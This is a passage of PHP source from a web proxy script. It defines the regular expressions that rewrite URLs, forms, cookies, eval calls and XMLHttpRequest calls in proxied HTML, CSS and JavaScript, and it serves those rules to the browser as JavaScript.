  2451.         $js_expr_get, $js_expr2_get, $js_expr3_get, // DEBUG CAN REMOVE js_expr3_get
  2452.         $g_js_expr, $g_js_expr2, $g_js_expr3;
  2453.  
  2454.    
  2455.     // backreference cleanup
  2456.     $js_varsect_wrap="({$js_varsect})";
  2457.     $js_varsect_wrap2="(({$js_varsect}))";
  2458.     $oregexp=$regexp;
  2459.     $regexp=str_replace($js_expr_set,$js_varsect_wrap2,$regexp);
  2460.     $regexp=str_replace($js_expr2_set,$js_varsect_wrap2,$regexp);
  2461.     $regexp=str_replace($js_expr3_set,$js_varsect_wrap2,$regexp);
  2462.     $regexp=str_replace($js_expr4_set,$js_varsect_wrap2,$regexp);
  2463.     $regexp=str_replace($js_expr_get,$js_varsect_wrap2,$regexp);
  2464.     $regexp=str_replace($js_expr2_get,$js_varsect_wrap2,$regexp);
  2465.     $regexp=str_replace($js_expr3_get,$js_varsect_wrap2,$regexp); // DEBUG CAN REMOVE
  2466.     $regexp=str_replace($g_js_expr,$js_varsect_wrap2,$regexp);
  2467.     $regexp=str_replace($g_js_expr2,$js_varsect_wrap2,$regexp);
  2468.     $regexp=str_replace($g_js_expr3,$js_varsect_wrap2,$regexp);
  2469.     $regexp=preg_replace('/\(\?P\<[a-z0-9_]+\>/i','(',$regexp);
  2470.     $regexp=preg_replace('/\(\?P\>[a-z0-9_]+\)/i',$js_varsect,$regexp);
  2471.     $regexp=preg_replace('/\(\?\<\![^\)]+?\)/i','',$regexp);
  2472.     $regexp=str_replace(FERP_KOOC.COOK_PREF,'',$regexp);
  2473.     $regexp=str_replace(FERP_KOOC,'',$regexp);
  2474.  
  2475.     return $regexp;
  2476. }
  2477. function escape_regexp($regexp,$dollar=false){
  2478.     $regexp=
  2479.         str_replace('\\','\\\\',
  2480.         str_replace('\'','\\\'',
  2481.         str_replace('"','\\"',
  2482.         str_replace(chr(10),'\n',
  2483.         str_replace(chr(13),'\r',
  2484.         str_replace(chr(9),'\t',
  2485.         $regexp
  2486.     ))))));
  2487.     return ($dollar?preg_replace('/[\\\\]+(?=[0-9])/','\\\\$',$regexp):
  2488.          preg_replace('/[\\\\]+(?=[0-9])/','\\\\\\\\',$regexp)); #*
  2489. }
  2490.  
  2491. function convert_array_to_javascript(){
  2492.     global $regexp_arrays;
  2493.     $js='regexp_arrays=new Array('.count($regexp_arrays).");\n";
  2494.     reset($regexp_arrays);
  2495.     while(list($key,$arr)=each($regexp_arrays)){
  2496.         $js.="regexp_arrays[\"{$key}\"]=new Array(".count($arr).");\n";
  2497.         for($i=0;$i<count($arr);$i++){
  2498.             $js.="regexp_arrays[\"{$key}\"][{$i}]=new Array(";
  2499.             if($arr[$i][0]==1)
  2500.                 $js.=
  2501.                     '1,'.escape_regexp(fix_regexp($arr[$i][2])).'g,"'.
  2502.                     escape_regexp(fix_regexp($arr[$i][3]),true).'"';
  2503.             elseif($arr[$i][0]==2)
  2504.                 $js.=
  2505.                     '2,'.escape_regexp(fix_regexp($arr[$i][2])).
  2506.                     "g,{$arr[$i][3]}".
  2507.                     (count($arr[$i])<5?null:','.bool_to_js($arr[$i][4])).
  2508.                     (count($arr[$i])<6?null:",{$arr[$i][5]}");
  2509.             $js.=");\n";
  2510.         }
  2511.     }
  2512.     return stripslashes($js);
  2513. }
  2514.  
  2515. # }}}
  2516.  
  2517. # REGEXPS: VARIABLES {{{
  2518.  
  2519. global $regexp_arrays, $js_varsect;
  2520.  
  2521. /* Variable Naming Tags
  2522. js:     Javascript
  2523. html:   HTML
  2524. hook:   are used to determine what is going to be hooked by the script
  2525. g:      global helper variable
  2526. h:      local/short term helper variable
  2527. l:      'looker' (uses lookaheads or lookbehinds for anchoring)
  2528. n:      'not'
  2529. */
  2530.  
  2531. # REGEXPS: VARIABLES: Helper Variables {{{
  2532.  
  2533. /*
  2534. $g_justspace:      just space characters (no newlines)   0+
  2535. $g_plusjustspace:  just space characters (no newlines)   1+
  2536. $g_anyspace:       any space characters at all           0+
  2537. $g_plusspace:      any space characters at all           1+
  2538. $g_anynewline:     any newline characters                0+
  2539. $g_plusnewline:    any newline characters                1+
  2540. $g_n_anynewline:   not any newline characters            0+
  2541. $g_n_plusnewline:  not any newline characters            1+
  2542. $g_bool_operand:   any boolean operand                   1
  2543. $g_operand:        any operand                           1
  2544. $g_n_operand:      anything but an operand               1
  2545. $g_quoteseg:       any quote segment                     2+
  2546. $g_regseg:         any regular expression segment        2+
  2547. */
  2548.  
  2549. $g_justspace="[\t ]*";
  2550. $g_plusjustspace="[\t ]+";
  2551. $g_anyspace="[\t\r\n ]*";
  2552. $g_plusspace="[\t\r\n ]+";
  2553. $g_anynewline="[\r\n]*";
  2554. $g_plusnewline="[\r\n]+";
  2555. $g_n_anynewline="[^\r\n]*";
  2556. $g_n_plusnewline="[^\r\n]+";
  2557. $g_bool_operand='(?:\|\||\&\&|\!=|==|\>|\<|\<=|\>=)';
  2558. $g_operand=
  2559.     "(?:{$g_bool_operand}|[\+\-\/\*\|\&\%]|\>|\>\>|\>\>\>|\<|\<\<|\<\<\<)";
  2560. $g_n_operand='[^\+\-\/\*\|\&\%\<\>\?\:]';
  2561. $g_quoteseg=
  2562.     "(?:\"(?:\\\\(?:\\\\\\\\)*?\"|[^\"])*?\"|".
  2563.     "\'(?:\\\\(?:\\\\\\\\)*?\'|[^\'])*?\')";
  2564. # no quotes (new)
  2565. $g_regseg="\/(?:\\\\(?:\\\\\\\\)*?[\/\"\']|[^\/\"\'])*?\/[a-z]*";
  2566.  
  2567. # }}}
  2568.  
  2569. # REGEXPS: VARIABLES: Parsing Config {{{
  2570.  
  2571. /*
  2572. $html_frametargets:  html list of frame targets to look out for
  2573. $hook_html_attrs:    hook html attributes
  2574. $hook_js_attrs:      js hook attributes for getting and setting
  2575. $hook_js_getattrs:   js hook attributes for getting only
  2576. $hook_js_methods:    js hook methods
  2577. $js_string_methods:  js methods for the String() object
  2578. $js_string_attrs:    js attributes for the String() object
  2579. */
  2580.  
  2581. # HTML
  2582. $html_frametargets='_(?:top|parent|self)';
  2583. $hook_html_attrs='(data|href|src|background|pluginspage|codebase|action)';
  2584.  
  2585. # Javascript
  2586. /*$hook_js_attrs=
  2587.     if($dollar) die($ret);
  2588.     '(?:href|src|location|action|backgroundImage|pluginspage|codebase|'.
  2589.     'location\.href|innerHTML|cookie|search|hostname)';
  2590. $hook_js_getattrs=
  2591.     "(?:{$hook_js_attrs}|userAgent|platform|appCodeName|appName|appVersion|".
  2592.     'language|oscpu|product|productSub|plugins)';*/
  2593. $hook_js_methods='(location\.(?:replace|assign))';
  2594.  
  2595. $js_string_methods=
  2596.     '(?:anchor|big|blink|bold|charAt|charCodeAt|concat|fixed|fontcolor|'.
  2597.     'fontsize|fromCharCode|indexOf|italics|lastIndexOf|link|match|replace|'.
  2598.     'search|slice|small|split|strike|sub|substr|substring|sup|toLowerCase|'.
  2599.     'toUpperCase|toSource|valueOf)';
  2600. $js_string_attrs='(?:constructor|length|prototype)';
  2601.  
  2602. # }}}
  2603.  
  2604. # REGEXPS: VARIABLES: Javascript Expressions Matching {{{
  2605.  
  2606. /*
  2607. $js_varsect:     flat variable section
  2608. $js_jsvarsect:   flat variable section for use in js's parsing engine
  2609. $n_js_varsect:   not a javascript variable section
  2610. $h_js_exprsect:  helper for js_exprsect
  2611. $js_exprsect:    single expression section
  2612. $h_js_expr:      helper for js_expr
  2613. $js_expr:        any javascript expression
  2614. $js_expr2, ...:  $js_expr requires use of a named submatch, so there needs
  2615.                  to be multiple versions of $js_expr for use multiple times in
  2616.                  one regular expression
  2617. */
  2618.  
  2619. $js_varsect=
  2620.     "(?:new{$g_plusspace})?[a-zA-Z_\$]".
  2621.     "(?:[a-zA-Z0-9\$\._]*[a-zA-Z0-9_\$])?";
  2622. $js_jsvarsect=
  2623.     "(?:new{$g_plusspace})?[a-zA-Z_\$]".
  2624.     "(?:[a-zA-Z0-9\$\._]*[a-zA-Z0-9_\[\]\$])?";
  2625. $n_js_varsect='(?![a-zA-Z\._\[\]])';
  2626.  
  2627. $h_js_exprsect=
  2628.     "(?!return|\/\*|\/\/)".
  2629.     "(?:{$g_quoteseg}|{$g_regseg}|{$js_varsect}|[0-9\.]+)";
  2630. $js_exprsect="(?:{$h_js_exprsect}|\({$h_js_exprsect}\))";
  2631. $h_js_paren=
  2632.     "\({$g_anyspace}(?:(?P>js_expr)".
  2633.         "(?:{$g_anyspace},{$g_anyspace}(?P>js_expr))*{$g_anyspace})?\)";
  2634. $h_js_brace=
  2635.     "\{{$g_anyspace}(?:(?P>js_expr)".
  2636.         "(?:{$g_anyspace},{$g_anyspace}(?P>js_expr))*{$g_anyspace})?\}";
  2637. $h_js_bracket=
  2638.     "\[{$g_anyspace}(?:(?P>js_expr)".
  2639.         "(?:{$g_anyspace},{$g_anyspace}(?P>js_expr))*{$g_anyspace})?\]";
  2640. $h_js_expr="{$h_js_paren}|{$h_js_brace}";
  2641. $h_js_expr2="{$h_js_paren}|{$h_js_brace}|{$h_js_bracket}";
  2642. $js_expr_get=
  2643.     '(?P<js_expr>'.
  2644.         "(?!(?:if|for|while){$g_anyspace}\()". # this watches out for internal
  2645.         "(?<!delete )".                        #   functions of javascript
  2646.         '(?!'.COOK_PREF.                       # this makes sure
  2647.             '\.(?:purge|getAttr)\()'.          #   COOK_PREF.purge() doesn't get
  2648.         '(?<!'.COOK_PREF.'\.setAttr\()'.       #   parsed, and that
  2649.                                                #   getAttr() doesn't wrap around
  2650.                                                #   another getAttr(); below,
  2651.                                                #   this is replaced for
  2652.                                                #   setAttr() since it needs to
  2653.                                                #   wrap around getAttr()
  2654.     '(?:'.#(?!'.COOK_PREF.')'.                       # begin with some expr
  2655.         "{$h_js_expr}|{$js_exprsect}|\[\])".         #
  2656.     "(?:{$g_anyspace}(?:".                           # START
  2657.         "\.{$g_anyspace}{$js_exprsect}".             # attribute
  2658.         "|\.{$g_anyspace}(?P>js_expr)".              # recursive attribute
  2659.         "|{$g_operand}{$g_anyspace}(?P>js_expr)".    # any operand
  2660.         "|\?{$g_anyspace}(?P>js_expr){$g_anyspace}". # ternary operator
  2661.             "\:{$g_anyspace}(?P>js_expr)".           #
  2662.         "|\({$g_anyspace}(?:{$js_varsect})?".        # anonymous functions
  2663.             "(?:{$g_anyspace},{$g_anyspace}".        #   args
  2664.                 "{$js_varsect})*{$g_anyspace}\)".    #   below is for code
  2665.                     $g_anyspace.
  2666.             "(?P<js_expr_brace>\{(?:(?>[^\{\}]+)|(?P>js_expr_brace))*\})".
  2667.         "|{$h_js_expr2}".                            # brackets, parens, braces
  2668.     "){$g_anyspace})*)";                             # END
  2669.  
  2670. // for setAttr()
  2671. $js_expr_set=preg_replace('/\|?getAttr/','',$js_expr_get);
  2672.  
  2673. // for global use
  2674. $g_js_expr=preg_replace('/\|?getAttr/','',$js_expr_get);
  2675. $g_js_expr=str_replace('js_expr','g_js_expr',$g_js_expr);
  2676.  
  2677. // these should only be produced as required in the code
  2678. // setAttr()
  2679. $js_expr2_set=str_replace('js_expr','js_expr2',$js_expr_set);
  2680. $js_expr3_set=str_replace('js_expr','js_expr3',$js_expr_set);
  2681. $js_expr4_set=str_replace('js_expr','js_expr4',$js_expr_set);
  2682. // getAttr()
  2683. $js_expr2_get=str_replace('js_expr','js_expr2',$js_expr_get);
  2684. $js_expr3_get=str_replace('js_expr','js_expr3',$js_expr_get); // DEBUG CAN REMOVE!
  2685. // global use
  2686. $g_js_expr2=str_replace('g_js_expr','g_js_expr2',$g_js_expr);
  2687. $g_js_expr3=str_replace('g_js_expr','g_js_expr3',$g_js_expr);
  2688.  
  2689. # }}}
  2690.  
  2691. # REGEXPS: VARIABLES: Miscellaneous {{{
  2692.  
  2693. /*
  2694. $l_js_end:          looks for if end of javascript statement
  2695. $n_l_js_end:        looks for if not end of javascript statement (#)
  2696. $js_begin:          matches beginning of javascript statement
  2697. $js_begin_right:    matches beginning of javascript statement on the RHS
  2698. $js_xmlhttpreq:     XMLHttpRequest matching (plus ActiveX version)
  2699. $h_html_noquot:     matches an HTML attribute value that is not using quotes
  2700. $html_reg:          matches an HTML attribute value
  2701. $js_newobj:         matches a 'new' clause inside of Javascript
  2702. $html_formnotpost:  matches a form, given it's not of method POST
  2703. */
  2704.  
  2705. $l_js_end="(?={$g_justspace}(?:[;\)\}\r\n=\!\|\&,]|{$g_n_operand}[\n\r]))";
  2706. #$n_l_js_end="(?!{$g_justspace}(?:[;\}]|{$g_n_operand}[\n\r]))";
  2707. $js_begin=
  2708.     "((?:[;\{\}\n\r\(\)\&\!]|[\!=]=)(?!{$g_anyspace}(?:#|\/\*|\/\/|'|\"))".
  2709.     "{$g_anyspace})";
  2710. $js_end=
  2711.     "((?:$|\G|[;\)\{\}\r\n=\!\|\&,]|[\!=]=|(?:else|return){$g_plusspace}|".
  2712.         "{$g_operand}{$g_anyspace}{$g_js_expr}".
  2713.         "){$g_anyspace})";
  2714. $js_end_get= # right now this is the same as js_end, but this is easier to debug
  2715.     "((?:$|\G|[;\)\{\}\r\n=\!\|\&,]|[\!=]=|(?:else|return){$g_plusspace}|".
  2716.         "{$g_operand}{$g_anyspace}{$g_js_expr}".
  2717.         "){$g_anyspace})";
  2718. $js_begin_strict_end=str_replace('g_js_expr','g_js_expr3',$js_end);
  2719. $js_begin_strict=
  2720.     "({$js_begin_strict_end}".
  2721.     "(?!{$g_anyspace}(?:#|\/\*|\/\/|'|\")))";
  2722. $n_js_string="(?!{$g_anyspace}['\"])";
  2723. $n_js_set="(?!{$g_anyspace}(?:=[^=]|\+=|\-=|\*=|\/=|\+\+|\-\-))"; # DEBUG
  2724. $n_js_set_left="(?<!\-\-|\+\+)";
  2725. $wrap_js_end_set=
  2726.     "({$n_js_set}{$n_js_string}{$js_end}|".
  2727.         "(?={$g_anyspace}(?:{$g_bool_operand}|=)))";
  2728. $wrap_js_end_set=
  2729.     "({$n_js_set}{$n_js_string}(?!=){$js_end}|".
  2730.         "(?={$g_anyspace}(?!=)(?:{$g_bool_operand})))"; # TODO: TEMP (no equals)
  2731. $wrap_js_end_get=
  2732.     "({$n_js_set}{$n_js_string}{$n_js_varsect}(?![=\[]){$js_end_get})";#|".
  2733.         #"(?={$g_anyspace}(?!=)(?:{$g_bool_operand})))"; # get can't have = here
  2734. $js_begin_right=
  2735.     '((?:\G|'.
  2736.         "[;\{\(=\+]|".                      # some operators
  2737.         "(?<!\/)\*(?!\/)|".                   # not a comment, but an asterisk
  2738.         #"(?<!:[\/])[\/](?![\/])|".            # slash ('/') without being a
  2739.                                               #   part of "://"
  2740.         "[^a-zA-Z0-9\~\-\/\.\_\"'\(\[\]\)]|". # URL string without being in a JS
  2741.                                               #   string
  2742.         "[\}\)]{$g_anyspace};?{$g_anyspace}". # brace/paren followed by a
  2743.                                               #   semicolon
  2744.     "){$g_anyspace})";
  2745. #$js_begin_right=
  2746. #   "((?:[;\{\(=\+\-\*]|[\}\)]{$g_anyspace};{$g_anyspace}|".
  2747. #   "(?<!:[\/])[\/](?![\/])){$g_justspace})";
  2748. #$js_begin_right="((?:[;\{\}\(\)=\+\-\*]|(?<!:[\/])[\/](?![\/])){$g_justspace})";
  2749.  
  2750. $js_xmlhttpreq=
  2751.     '(?<!XMLHttpRequest_wrap\(new )'.
  2752.     "(?:XMLHttpRequest{$g_anyspace}(?:\({$g_anyspace}\)|)|".
  2753.     "ActiveXObject{$g_anyspace}\({$g_anyspace}[^\)]+\.XMLHTTP['\"]".
  2754.     "{$g_anyspace}\))";
  2755.  
  2756. $h_html_noquot='(?:[^"\'\\\\][^> ]*)';
  2757. $html_reg="({$g_quoteseg}|{$h_html_noquot})";
  2758. $js_newobj="(?:new{$g_plusspace})";
  2759. $html_formnotpost="(?:(?!method{$g_anyspace}={$g_anyspace}(?:'|\")?post)[^>])";
  2760.  
  2761. # }}}
  2762.  
  2763. # }}}
  2764.  
  2765. # REGEXPS: JAVASCRIPT PARSING {{{
  2766.  
  2767. $js_regexp_arrays=array(
  2768.  
  2769.     /*array(1,2
  2770.         "/{$js_begin}{$js_expr_set}{$g_anyspace}=".
  2771.             "({$g_anyspace}{$js_expr2_set}{$g_anyspace}=)".
  2772.             "({$g_anyspace}{$js_expr3_set}{$g_anyspace}=)?".
  2773.         "({$g_anyspace}{$js_expr4_set}{$g_anyspace}{$wrap_js_end})/",
  2774.         "\\1\\2=\\7;\\3\\7;\\5\\7");*/ # TODO
  2775.  
  2776.     # object.attribute parsing (set)
  2777.  
  2778.     # prepare for set for +=
  2779.     array(1,2,
  2780.         "/{$js_begin}{$js_expr_get}\.({$js_varsect}){$g_anyspace}\+=/im",
  2781.         "\\1\\2.\\4=".COOK_PREF.".getAttr(\\2,/\\4/)+"),
  2782.     # set for =
  2783.     array(1,2,
  2784.         "/{$js_begin_strict}{$js_expr_set}\.(({$js_varsect}){$g_anyspace}=".
  2785.             #"(?:{$g_anyspace}{$js_expr2_set}{$g_anyspace}=)*".
  2786.             "{$g_anyspace}){$js_expr3_set}{$wrap_js_end_set}/im",
  2787.         #"\\1\\4.\\6=".COOK_PREF.".setAttr(\\4,/\\6/,\\8)\\9"), #TODO: new way?
  2788.         "\\1".COOK_PREF.".setAttr(\\5,/\\8/,".
  2789.             FERP_KOOC."\\9".FERP_KOOC.COOK_PREF.")\\11"),
  2790.  
  2791.  
  2792.     # object['attribute'] parsing (set)
  2793.  
  2794.     # prepare for set for +=
  2795.     array(1,2,
  2796.         "/{$js_begin}{$js_expr_get}\[{$js_expr2_get}\]{$g_anyspace}\+=/im",
  2797.         "\\1\\2[\\4]=".COOK_PREF.".getAttr(\\2,\\4)+"),
  2798.     # set for =
  2799.     array(1,2,
  2800.         "/{$js_begin_strict}{$js_expr_set}(\[{$js_expr2_set}\]{$g_anyspace}=".
  2801.             #"(?:{$g_anyspace}{$js_expr3_set}{$g_anyspace}=)*".
  2802.             "{$g_anyspace}){$js_expr4_set}{$wrap_js_end_set}/im",
  2803.         //"\\1\\4[\\6]=".COOK_PREF.".setAttr(\\4,\\6,\\8)\\9"), #TODO: new way?
  2804.         "\\1".COOK_PREF.".setAttr(\\5,\\8,".
  2805.             FERP_KOOC."\\10".FERP_KOOC.COOK_PREF.")\\12"),
  2806.  
  2807.     # object.getAttribute parsing # TODO NOW
  2808.  
  2809.     # object.setAttribute parsing
  2810.     array(1,2,
  2811.         "/{$js_begin_strict}{$js_expr_set}\.setAttribute{$g_anyspace}\(".
  2812.             "{$g_anyspace}{$js_expr2_set}{$g_anyspace},{$g_anyspace}".
  2813.             "{$js_expr3_set}{$g_anyspace}\)/im",
  2814.         #"\\1\\4[\\5]=".COOK_PREF.".setAttr(\\4,\\5,\\6)"), #TODO: new way?
  2815.         "\\1".COOK_PREF.".setAttr(\\5,\\7,".
  2816.             FERP_KOOC."\\9".FERP_KOOC.COOK_PREF.')'),
  2817.  
  2818.  
  2819.     # get parsing
  2820.  
  2821.     # get: object[attribute]
  2822.     array(1,2,
  2823.         "/{$js_begin_right}{$n_js_set_left}{$js_expr_get}\[{$js_expr2_get}\]".
  2824.         "{$wrap_js_end_get}/im",
  2825.         "\\1".COOK_PREF.".getAttr(\\2,\\4)".
  2826.             FERP_KOOC."\\6".FERP_KOOC.COOK_PREF),
  2827.  
  2828.     # get: object.attribute
  2829.     array(1,2,
  2830.         "/{$js_begin_right}{$n_js_set_left}{$js_expr_get}\.({$js_varsect})".
  2831.         "((?:\.(?:{$js_string_attrs}|{$js_string_methods}{$h_js_paren})*)?)".
  2832.         "{$wrap_js_end_get}/im",
  2833.         "\\1".COOK_PREF.".getAttr(\\2,/\\4/)\\5".
  2834.             FERP_KOOC."\\7".FERP_KOOC.COOK_PREF),
  2835.  
  2836.  
  2837.     # other stuff
  2838.  
  2839.     # method parsing
  2840.     array(1,2,
  2841.         "/([^a-z0-9]{$hook_js_methods}{$g_anyspace}\(){$js_expr_get}\)/im",
  2842.         "\\1".COOK_PREF.".surrogafy_url(\\3))"),
  2843.  
  2844.     # de-method parsing
  2845.     array(1,2,
  2846.         "/{$js_begin_right}{$n_js_set_left}({$js_varsect})\.getAttributeNode\(".
  2847.             "{$js_expr_get}\)/im",
  2848.         "\\1".COOK_PREF.".getAttrNode(\\2,\\3)"),
  2849.  
  2850.     # eval parsing
  2851.     array(1,2,
  2852.         "/([^a-z0-9])eval{$g_anyspace}\(".
  2853.             "(?!".COOK_PREF.")({$g_anyspace}{$g_js_expr})\)/im",
  2854.         "\\1eval(".COOK_PREF.".parse_all(\\2,\"application/x-javascript\"))"),
  2855.  
  2856.     # action attribute parsing
  2857.     array(1,2,
  2858.         "/{$js_begin}\.action{$g_anyspace}=/im",
  2859.         "\\1.".COOK_PREF.".value="),
  2860.  
  2861.     # XMLHttpRequest parsing
  2862.     array(1,2,
  2863.         "/({$js_newobj}{$js_xmlhttpreq})/im",
  2864.         COOK_PREF.".XMLHttpRequest_wrap(\\1)"),
  2865.  
  2866.     # form.submit() call parsing
  2867.     ($OPTIONS['ENCRYPT_URLS']?array(1,2,
  2868.         "/{$js_begin}((?:[^\) \{\}]*(?:\)\.{0,1}))+)(\.submit{$g_anyspace}\(\)".
  2869.             "){$l_js_end}/im",
  2870.         "\\1void((\\2.method==\"post\"?null:\\2\\3));")
  2871.     :null),
  2872.  
  2873. );
  2874.  
  2875. # }}}
  2876.  
  2877. # REGEXPS: HTML/CSS PARSING {{{
  2878.  
  2879. $regexp_arrays=array(
  2880.     'text/html' => array(
  2881.         # target attr
  2882.         (PAGETYPE_ID===PAGETYPE_FRAMED_PAGE?array(1,1,
  2883.             "/(<[a-z][^>]*{$g_anyspace}) target{$g_anyspace}={$g_anyspace}".
  2884.                 "(?:{$html_frametargets}|('){$html_frametargets}'|(\")".
  2885.                 "{$html_frametargets}\")".
  2886.                 "/im",
  2887.             '\1')
  2888.         :null),
  2889.         (PAGETYPE_ID===PAGETYPE_FRAMED_CHILD?array(1,1,
  2890.             "/(<[a-z][^>]*{$g_anyspace} target{$g_anyspace}={$g_anyspace})".
  2891.                 "(?:_top|(')_top'|(\")_top\")/im",
  2892.             '\1\2\3'.COOK_PREF.'_top\2\3')
  2893.         :null),
  2894.  
  2895.         # deal with <form>s
  2896.         array(1,1,
  2897.             "/(<form{$html_formnotpost}*?)".
  2898.                 "(?:{$g_plusspace}action{$g_anyspace}={$g_anyspace}{$html_reg}".
  2899.                 ")({$html_formnotpost}*)>/im",
  2900.             '\1 target="_self"\3><input type="hidden" name="'.
  2901.                 COOK_PREF.'" class="'.COOK_PREF.'" value=\2'.
  2902.             ' />'),
  2903.         array(2,1,
  2904.             '/<input type="hidden" name="'.COOK_PREF.'" class="'.COOK_PREF.'"'.
  2905.                 " value{$g_anyspace}={$g_anyspace}{$html_reg} \/>/im",
  2906.             1,false),
  2907.         array(1,1,
  2908.             '/(<form[^>]*?)>/im',
  2909.             '\1 target="_self"'.
  2910.                 ($OPTIONS['ENCRYPT_URLS']?
  2911.                  ' onsubmit="return '.COOK_PREF.'.form_encrypt(this);">':'>')),
  2912.         array(1,1,
  2913.             "/(<form{$html_formnotpost}+)>(?!<!--".COOK_PREF.'-->)/im',
  2914.             '\1 target="_parent"><!--'.COOK_PREF.
  2915.                 '--><input type="hidden" name="" value="_">'),
  2916.  
  2917.         # deal with the form button for encrypted URLs
  2918.         ($OPTIONS['ENCRYPT_URLS']?array(1,1,
  2919.             "/(<input[^>]*? type{$g_anyspace}={$g_anyspace}".
  2920.                 "(?:\"submit\"|'submit'|submit)[^>]*?[^\/])((?:[ ]?[\/])?>)/im",
  2921.             '\1 onclick="'.COOK_PREF.'_form_button=this.name;"\2')
  2922.         :null),
  2923.  
  2924.         # parse all the other tags
  2925.         array(2,1,
  2926.             "/<[a-z][^>]*{$g_plusspace}{$hook_html_attrs}{$g_anyspace}=".
  2927.                 "{$g_anyspace}{$html_reg}/im",
  2928.             2),
  2929.         array(2,1,
  2930.             "/<param[^>]*{$g_plusspace}name{$g_anyspace}={$g_anyspace}[\"']?".
  2931.                 "movie[^>]*{$g_plusspace}value{$g_anyspace}={$g_anyspace}".
  2932.                 "{$html_reg}/im",
  2933.             1),
  2934.         array(2,2,
  2935.             "/<script[^>]*?{$g_plusspace}src{$g_anyspace}={$g_anyspace}([\"'])".
  2936.                 "{$g_anyspace}(.*?[^\\\\])\\1[^>]*>{$g_anyspace}<\/script>/im",
  2937.             2),
  2938.         ($OPTIONS['URL_FORM'] && PAGE_FRAMED?array(2,1,
  2939.             "/<a(?:rea)?{$g_plusspace}[^>]*href{$g_anyspace}={$g_anyspace}".
  2940.                 "{$html_reg}/im",
  2941.             1,false,NEW_PAGETYPE_FRAME_TOP)
  2942.         :null),
  2943.         ($OPTIONS['URL_FORM'] && PAGE_FRAMED?array(2,1,
  2944.             "/<[i]?frame{$g_plusspace}[^>]*src{$g_anyspace}={$g_anyspace}".
  2945.             "{$html_reg}/im",
  2946.             1,false,PAGETYPE_FRAMED_CHILD)
  2947.         :null),
  2948.     ),
  2949.  
  2950.     'text/css' => array(
  2951.         array(2,1,
  2952.             "/[^a-z]url\({$g_anyspace}(&(?:quot|#(?:3[49]));|\"|')(.*?[^\\\\])".
  2953.                 "(\\1){$g_anyspace}\)/im",
  2954.             2),
  2955.         array(2,1,
  2956.             "/[^a-z]url\({$g_anyspace}((?!&(?:quot|#(?:3[49]));)[^\"'\\\\].*?".
  2957.                 "[^\\\\]){$g_anyspace}\)/im",
  2958.             1),
  2959.         array(2,1,
  2960.             "/@import{$g_plusspace}(&(?:quot|#(?:3[49]));|\"|')(.*?[^\\\\])".
  2961.                 "(\\1);/im",
  2962.             2),
  2963.     ),
  2964.  
  2965.     'application/javascript' => $js_regexp_arrays,
  2966.     'application/x-javascript' => $js_regexp_arrays,
  2967.     'text/javascript' => $js_regexp_arrays
  2968. );
  2969.  
  2970. # }}}
  2971.  
  2972. # REGEXPS: STATIC JAVASCRIPT REGEXPS PAGE {{{
  2973.  
  2974. if(QUERY_STRING=='js_regexps' || QUERY_STRING=='js_regexps_framed'){
  2975.     static_cache();
  2976. ?>//<script type="text/javascript">
  2977. <?php echo(
  2978.     convert_array_to_javascript().
  2979.     (
  2980.         $OPTIONS['REMOVE_OBJECTS']?
  2981.         'regexp_arrays["text/html"].push(Array(1,/<[\\\\/]?'.
  2982.             '(embed|param|object)[^>]*>/ig,""));':
  2983.         null
  2984.     )
  2985. ); ?>
  2986. //</script><?php exit(); }
  2987.  
  2988. # }}}
  2989.  
  2990. # REGEXPS: SERVER-SIDE ONLY PARSING {{{
  2991.  
  2992. array_push($regexp_arrays['text/html'],
  2993.     array(2,1,
  2994.         "/<meta[^>]*{$g_plusspace}http-equiv{$g_anyspace}={$g_anyspace}".
  2995.         "([\"']|)refresh\\1[^>]* content{$g_anyspace}={$g_anyspace}([\"']|)".
  2996.         "[ 0-9\.;\t\\r\n]*url=(.*?)\\2[^>]*>/i",
  2997.         3,true,NEW_PAGETYPE_FRAMED_PAGE),
  2998.     array(1,1,
  2999.         "/(<meta[^>]*{$g_plusspace}http-equiv{$g_anyspace}={$g_anyspace}".
  3000.         "([\"']|)set-cookie\\2[^>]* content{$g_anyspace}={$g_anyspace})([\"'])".
  3001.         "(.*?[^\\\\]){$g_anyspace}\\3/i",
  3002.         "\\1\\3{$cook_prefix}\\4\\3")
  3003. );
  3004.  
  3005. # }}}
  3006.  
  3007. # REGEXPS: CLEANUP {{{
  3008.  
  3009. # needed later, but $g_anyspace and $html_reg are unset below
  3010. define('BASE_REGEXP',
  3011.     "<base[^>]* href{$g_anyspace}={$g_anyspace}{$html_reg}[^>]*>");
  3012. define('END_OF_SCRIPT_TAG',
  3013.     "(?:{$g_anyspace}(?:\/\/)?{$g_anyspace}-->{$g_anyspace})?<\/script>");
  3014. define('REGEXP_SCRIPT_ONEVENT',
  3015.     "( on[a-z]{3,20}=(?:\"[^\"]+\"|'[^']+'|[^\"' >][^ >]+[^\"' >])|".
  3016.     " href=(?:\"{$g_anyspace}javascript:[^\"]+\"|".
  3017.     "'{$g_anyspace}javascript:[^']+'|".
  3018.     "{$g_anyspace}javascript:[^\"' >][^ >]+[^\"' >]))");
  3019.  
  3020. unset(
  3021.     $g_justspace, $g_plusjustspace, $g_anyspace, $g_plusspace, $g_operand,
  3022.     $g_n_operand, $g_quoteseg, $g_regseg,
  3023.  
  3024.     $hook_html_attrs, $html_frametargets, $hook_js_attrs, $hook_js_getattrs,
  3025.     $hook_js_methods, $js_string_methods, $js_string_attrs,
  3026.  
  3027.     $js_varsect, $js_jsvarsect, $n_js_varsect, $h_js_exprsect, $js_exprsect,
  3028.     $js_expr, $js_expr2, $js_expr3, $js_expr4,
  3029.  
  3030.     $l_js_end, $n_l_js_end, $js_begin, $js_end, $js_begin_strict_end,
  3031.     $js_begin_strict, $n_js_string, $n_js_set, $n_js_set_left,
  3032.     $wrap_js_end_set, $wrap_js_end_get,
  3033.     $js_begin_right, $js_xmlhttpreq,
  3034.  
  3035.     $h_html_noquot, $html_reg, $js_newobj, $html_formnotpost,
  3036.  
  3037.     $js_regexp_arrays
  3038. );
  3039.  
  3040. # }}}
  3041.  
  3042. # }}}
  3043.  
  3044. # PROXY FUNCTIONS {{{
  3045.  
  3046. # PROXY FUNCTIONS: URL PARSING {{{
  3047. function surrogafy_url($url,$topurl=false,$addproxy=true){
  3048.     global $curr_urlobj;
  3049.     //if(preg_match('/^(["\']).*\1$/is',$url)>0){
  3050.     if(
  3051.         ($url{0}=='"' && substr($url,-1)=='"') ||
  3052.         ($url{0}=='\'' && substr($url,-1)=='\'')
  3053.     ){
  3054.         $urlquote=$url{0};
  3055.         $url=substr($url,1,strlen($url)-2);
  3056.     }
  3057.     if($topurl===false) $topurl=$curr_urlobj;
